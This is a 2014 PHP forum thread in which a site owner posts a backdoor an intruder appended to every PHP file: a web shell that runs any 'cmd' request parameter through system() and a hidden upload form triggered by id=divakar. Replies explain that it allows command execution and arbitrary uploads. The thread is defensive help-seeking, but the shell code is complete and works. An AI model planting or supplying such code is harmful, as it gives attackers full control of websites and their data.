1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

What is the meaning of this code?

Discussion in 'PHP' started by KingCobra, Feb 5, 2014.

  1. #1
    Dear friends, someone hacked my web server and put the following code at the end of every PHP file of my site. Can you tell me what is the meaning of this code or what is done by this code? Thanks

    <?php $cmd = <<<EOD
    cmd
    EOD;
    
    if(isset($_REQUEST[$cmd])) {
    system($_REQUEST[$cmd]); } ?>   
    
        <?php if($_GET['id']=='divakar')
        {
        echo 'rummykhan<br>';
        echo '<br>';
        echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
        echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
        if( $_POST['_upl'] == "Upload" ) {
                if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }
                else { echo '<b>Upload !!!</b><br><br>'; }
        }
        }
    ?>
    PHP:
     
    KingCobra, Feb 5, 2014 IP
  2. xtmx

    xtmx Active Member

    Messages:
    359
    Likes Received:
    12
    Best Answers:
    4
    Trophy Points:
    88
    #2
    It lets them upload files and execute shell commands. They can do pretty much whatever they want to your site now.
     
    xtmx, Feb 5, 2014 IP
  3. KingCobra

    KingCobra Well-Known Member

    Messages:
    289
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    103
    #3
    dear @xtmx ,
    Can you tell me where they uploading files; there is no email address or ftp info.
    Does this piece of code related with other codes; I mean have there any other pieces of codes related with it?
     
    KingCobra, Feb 5, 2014 IP
  4. PoPSiCLe

    PoPSiCLe Illustrious Member

    Messages:
    4,623
    Likes Received:
    725
    Best Answers:
    152
    Trophy Points:
    470
    #4
    They upload files to the same directory as the file the code is present in - if that's not allowed (ie, if the directory in question doesn't allow writing of files), you're fine - most likely, though, the PHP-user has every right to write files, hence you're a bit screwed (potentially).
     
    PoPSiCLe, Feb 6, 2014 IP
  5. webshore88

    webshore88 Well-Known Member

    Messages:
    130
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    123
    #5
    As far as you are not checking what kind of uploading file is, so user can upload any binary file and call it whenever he/she want. Look at this code:
    copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])
    PHP:
    File is coping as user desired file name so he know the URL of the file and if the file holds binary code that can extract your DB info, then my man your are really screwed
     
    webshore88, Feb 6, 2014 IP